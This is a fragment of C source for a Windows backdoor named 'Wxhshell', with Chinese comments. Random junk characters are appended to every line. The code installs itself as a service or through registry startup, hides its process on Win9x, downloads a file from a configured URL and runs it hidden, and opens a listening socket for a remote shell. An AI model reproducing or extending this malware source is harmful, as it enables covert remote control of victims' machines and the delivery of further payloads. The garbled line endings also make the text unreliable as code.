ULONG InheritedFromUniqueProcessId; bA@
/B'
} PROCESS_BASIC_INFORMATION; hrs#ZZ:E
Gnbfy4Z
PROCNTQSIP NtQueryInformationProcess; $!YKZ0)B'0
2;r]gT~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m:)Z6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @br@[RpB
:+~KPn>w5
HANDLE hProcess; f._l105.
PROCESS_BASIC_INFORMATION pbi; (^sh
1. #
|QX
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L5"8G,I
if(NULL == hInst ) return 0; KX?o
n sZ
}3v'Cp0L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qbS'|--wH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &w+;N5}3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]g{hhP3>
hi!L\yi
if (!NtQueryInformationProcess) return 0; *#3*;dya]
h ?uqLsRl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ho3dsh)
if(!hProcess) return 0; B\Xh3l]+j
kTnOmAw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MaZM%W8Z
uxWFM
$
CloseHandle(hProcess); U?gl"6x
7FAIew\r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B\\6#
if(hProcess==NULL) return 0; i.3cj1
sU\c#|BSC"
HMODULE hMod; ,eR8~(`=
char procName[255]; 6gXIt9B.h$
unsigned long cbNeeded; ^NXcLEaP*<
Y[2Wt%2\6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <"W?<VjO
{3VZ3i
CloseHandle(hProcess); N;uUx#z
!)N|J$FU
if(strstr(procName,"services")) return 1; // 以服务启动 WzjL-a(
3P1&;
return 0; // 注册表启动 # kyl?E
} _2b9QP p
"NDxgJ%J35
// 主模块 *I0Tbc
O
int StartWxhshell(LPSTR lpCmdLine) (:5G#?6,
{ syv$XeG=}
SOCKET wsl; } ^i b
BOOL val=TRUE; !22yvT.;[
int port=0; ` @8`qXg
struct sockaddr_in door; 4e +~.5r@i
P"1 S$oc
if(wscfg.ws_autoins) Install(); TI=h_%mO
%a];
port=atoi(lpCmdLine); i(*I@ku
I^D0<lHl~
if(port<=0) port=wscfg.ws_port; ZsZcQj6G,
-?<4Og[^
WSADATA data;
m*Lo|F
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K^zDNIQU
q]\X~
9#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pQMtj0(y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ME^,'&
door.sin_family = AF_INET; >E:<E'L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); X<]qU3k5
door.sin_port = htons(port); /-4$7qd
[iS,#w`
5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8!mc@$Z
closesocket(wsl); ;;Ds
return 1; 1f#mHt:(
} vMla'5|l
"CQw/qZw
if(listen(wsl,2) == INVALID_SOCKET) { ~9=aT1S|
closesocket(wsl); ~>5#5!}@*
return 1; FB:<zmwR
} 15{Y9!
Wxhshell(wsl); @ {#mpDX
WSACleanup(); K>2 #UzW
Sm-wH^~KA
return 0; w!SkWS b,~
>u0w.3r#
} PUdM[-zjh
0)!Ll*L!p
// 以NT服务方式启动 `zpbnxOL$T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zf [`~g
{ ] asBd"
DWORD status = 0; -n5
B)uw=
DWORD specificError = 0xfffffff; Nt:9 MG>1
G{9X)|d
serviceStatus.dwServiceType = SERVICE_WIN32; x;\wY'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fP HLXg5s
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T]T;$
serviceStatus.dwWin32ExitCode = 0; CHJ>{b`O
serviceStatus.dwServiceSpecificExitCode = 0; ?BA^YF
serviceStatus.dwCheckPoint = 0; 3WY$WRv
serviceStatus.dwWaitHint = 0; "YU{Fkl#j
!xIm2+:(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m-/j1GZ*
if (hServiceStatusHandle==0) return; wsU V;S*X%
os lJC$cy'
status = GetLastError(); sJ
z@7.
if (status!=NO_ERROR) B;K`q
{ <plC_{Y:wu
serviceStatus.dwCurrentState = SERVICE_STOPPED; kcie}Be
serviceStatus.dwCheckPoint = 0; AJ^#eY5
serviceStatus.dwWaitHint = 0; qT:zEt5
serviceStatus.dwWin32ExitCode = status; p&-'|'; r;L>.wl*I
} %CUGm$nH
return; ae"]\a\&1o
case SERVICE_CONTROL_PAUSE: $N:Vo(*
serviceStatus.dwCurrentState = SERVICE_PAUSED; "<_0A f]
break; 0;4t&v7
case SERVICE_CONTROL_CONTINUE: HHX-1+L
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'TH15r@
break; ;zM*bWh9
case SERVICE_CONTROL_INTERROGATE: "H-"
break; <<=WY_m}
}; t5)+&I2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9% l%
} Le<wR
)o-Q!<*1
// 标准应用程序主函数 P =3RLL<l
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [aI]y=v
{ C2Xd?d
uVzFsgBp
// 获取操作系统版本 x+f2GA$
OsIsNt=GetOsVer(); 9j W2
GetModuleFileName(NULL,ExeFile,MAX_PATH); [=B$5%A
?4H i-
// 从命令行安装 3^s/bm$g
if(strpbrk(lpCmdLine,"iI")) Install(); b'6-dU%
54
> -
// 下载执行文件 l;y7]DO
if(wscfg.ws_downexe) { +f*OliMD
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WTImRXK4
WinExec(wscfg.ws_filenam,SW_HIDE); Dfq(Iv
} J|'7_0OAx
/'31w9
if(!OsIsNt) { Ag F,aZU
// 如果时win9x,隐藏进程并且设置为注册表启动 8,0YD#x
HideProc(); 3%.#}O,(
StartWxhshell(lpCmdLine); ^v.,y3
} OKFtl
else ,+~rd4a
if(StartFromService()) &\apwD
// 以服务方式启动 @+ atBmt
StartServiceCtrlDispatcher(DispatchTable); D#&q&6P{
else ooUk O
// 普通方式启动 L%>n>w
StartWxhshell(lpCmdLine); pp7$J2s+j
tv!_e$CR
return 0; +3KEzo1=)
}